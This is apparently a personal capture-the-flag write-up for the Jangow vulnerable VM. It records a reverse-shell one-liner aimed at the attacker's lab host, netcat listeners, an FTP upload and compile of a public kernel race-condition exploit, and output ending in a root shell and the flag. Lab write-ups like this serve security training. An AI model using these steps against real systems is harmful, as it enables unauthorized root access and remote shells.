

Jangow Box

--- 7.5.24 ---

I had the right idea; need to exploit the web server. HOWEVER. What I missed was the "wordpress" folder. I needed to go into the folder and take a look at the "buscar" option. Need to run burpsuite whilst click on this.

```
* Management:      https://landscape.canonical.com
* Support:         https://ubuntu.com/advantage

262 pacotes podem ser atualizados.
175 atualizações são atualizações de segurança.

jangow01@jangow01:~$ bash -i >& :dev:tcp:10,0,2,4:443 0>&1
-bash: erro de sintaxe próximo do 'token' não esperado ';'
jangow01@jangow01:~$ cd ../
jangow01@jangow01:/home$ ls
jangow01
jangow01@jangow01:/home$ cd jangow01/
jangow01@jangow01:~$ ls
user.txt
jangow01@jangow01:~$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e
jangow01@jangow01:~$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e
jangow01@jangow01:~$ ufw allow 22
ERROR: Você precisa ser superusuário para executar este script
jangow01@jangow01:~$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e
jangow01@jangow01:~$
```

Exploit for this specific kernel:

<https://www.exploit-db.com/exploits/47170>

We can use the login creds that we had from earlier to transfer the exploit to the machine
Then, we will need to compile and execute the exploit.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ sudo nc -lvnp 1337  
listening on [any] 1337 ...  
^C  
(kali@kali)-[~]  
$ sudo nc -lvnp 443  
listening on [any] 443 ...  
^C  
(kali@kali)-[~]  
$ ssh jangow01@10.0.2.15  
^C  
(kali@kali)-[~]  
$ ssh 10.0.2.15  
^C  
(kali@kali)-[~]  
$ ftp 10.0.2.15  
Connected to 10.0.2.15.  
220 (vsFTPD 3.0.3)  
Name (10.0.2.15:kali): jangow01  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> cd /home/jangow01  
250 Directory successfully changed.  
ftp> put 47170.c  
local: 47170.c remote: 47170.c  
229 Entering Extended Passive Mode (|||21776|)  
150 Ok to send data.  
100% |*****| 25835 119.02 MiB/s 00:00 ETA  
226 Transfer complete.  
25835 bytes sent in 00:00 (11.67 MiB/s)  
ftp> █
```

used gcc -pthread 47170.c -o 47170 to compile

This exploit is a race condition exploit. Once race condition has been won, we can get a root shell.

```
jangow 01 [Running] - Oracle VM VirtualBox  
File Machine View Input Devices Help  
[.] new exploit attempt starting, jumping to 0xffffffff81286e90, arg=0xffffffff600850  
[.] done, sockets allocated  
[.] removing barrier and spraying...  
[.] version switcher stopping, x = -1 (y = 772999, last val = 2)  
[.] current packet version = 0  
[.] pbd->hdr.bh1.offset_to_first_pkt = 0  
[.] race not won  
  
[.] retrying stage...  
[.] new exploit attempt starting, jumping to 0xffffffff81286e90, arg=0xffffffff600850  
[.] done, sockets allocated  
[.] removing barrier and spraying...  
[.] version switcher stopping, x = -1 (y = 6383109, last val = 2)  
[.] current packet version = 0  
[.] pbd->hdr.bh1.offset_to_first_pkt = 0  
[.] race not won  
  
[.] retrying stage...  
[.] new exploit attempt starting, jumping to 0xffffffff81286e90, arg=0xffffffff600850  
[.] done, sockets allocated  
[.] removing barrier and spraying...  
[.] version switcher stopping, x = -1 (y = 202595, last val = 2)  
[.] current packet version = 0  
[.] pbd->hdr.bh1.offset_to_first_pkt = 48  
===== TPACKET_U1 && offset_to_first_pkt != 0, race won =====  
  
[!] please wait up to a few minutes for timer to be executed.  
[!] if you ctrl-c now the kernel will hang. so don't do that.  
  
[.] closing socket and verifying...  
.....[.] sysctl added!  
  
[.] done, stage 2 completed  
[+] binary executed by kernel, launching rootshell  
root@jangow01:~# whoami  
root  
root@jangow01:~#
```

grabbing the flag:

```
root etc initrd.img lib64 media          pt root sbin snap      sys usr    vmlinuz
root@jangow01:~# cd /root
root@jangow01:/root# ls
proof.txt
root@jangow01:/root# cat proof.txt
```

A large block of garbled text follows, consisting of many lines of random characters and symbols.

```
la39a3ee5e6b4b0d3255bfe95601890afd80709
root@jangow01:/root#
```

Activate Wi-Fi
Go to Settings to